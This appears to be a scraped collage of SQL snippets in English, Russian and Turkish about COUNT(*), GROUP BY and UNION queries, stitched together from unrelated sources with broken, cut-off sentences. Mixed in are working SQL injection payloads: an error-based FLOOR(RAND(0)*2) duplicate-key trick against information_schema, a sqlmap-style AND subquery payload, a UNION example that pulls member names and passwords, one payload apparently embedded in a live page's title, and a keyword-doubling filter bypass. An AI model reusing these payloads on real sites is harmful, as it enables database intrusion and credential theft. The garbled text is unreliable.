The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
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Пример: SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members Это позволит объединить результаты из таблиц
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.
select sum(cnt) from (select count(value_x) cnt from table_a. UNION ALL.
...or GROUP BY clause Payload: id=1 AND (SELECT 4021 FROM(SELECT COUNT(*),CONCAT
Şair Fdsfa Fdsa Fsdf isimli şaire ait 9785073 or (select 1 from (select count(*),concat((0x574352575653),0x5E,floor(rand(0)*2)) x from information_schema.tables group by x)a) adlı şiiri okumak için bu sayfayı ziyaret edebilirsiniz.
information_schema.tables group by x)a) AND (1338=1338.
like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.
COUNT — это детерминированная функция, если она используется без предложений OVER и ORDER BY.COUNT is a deterministic function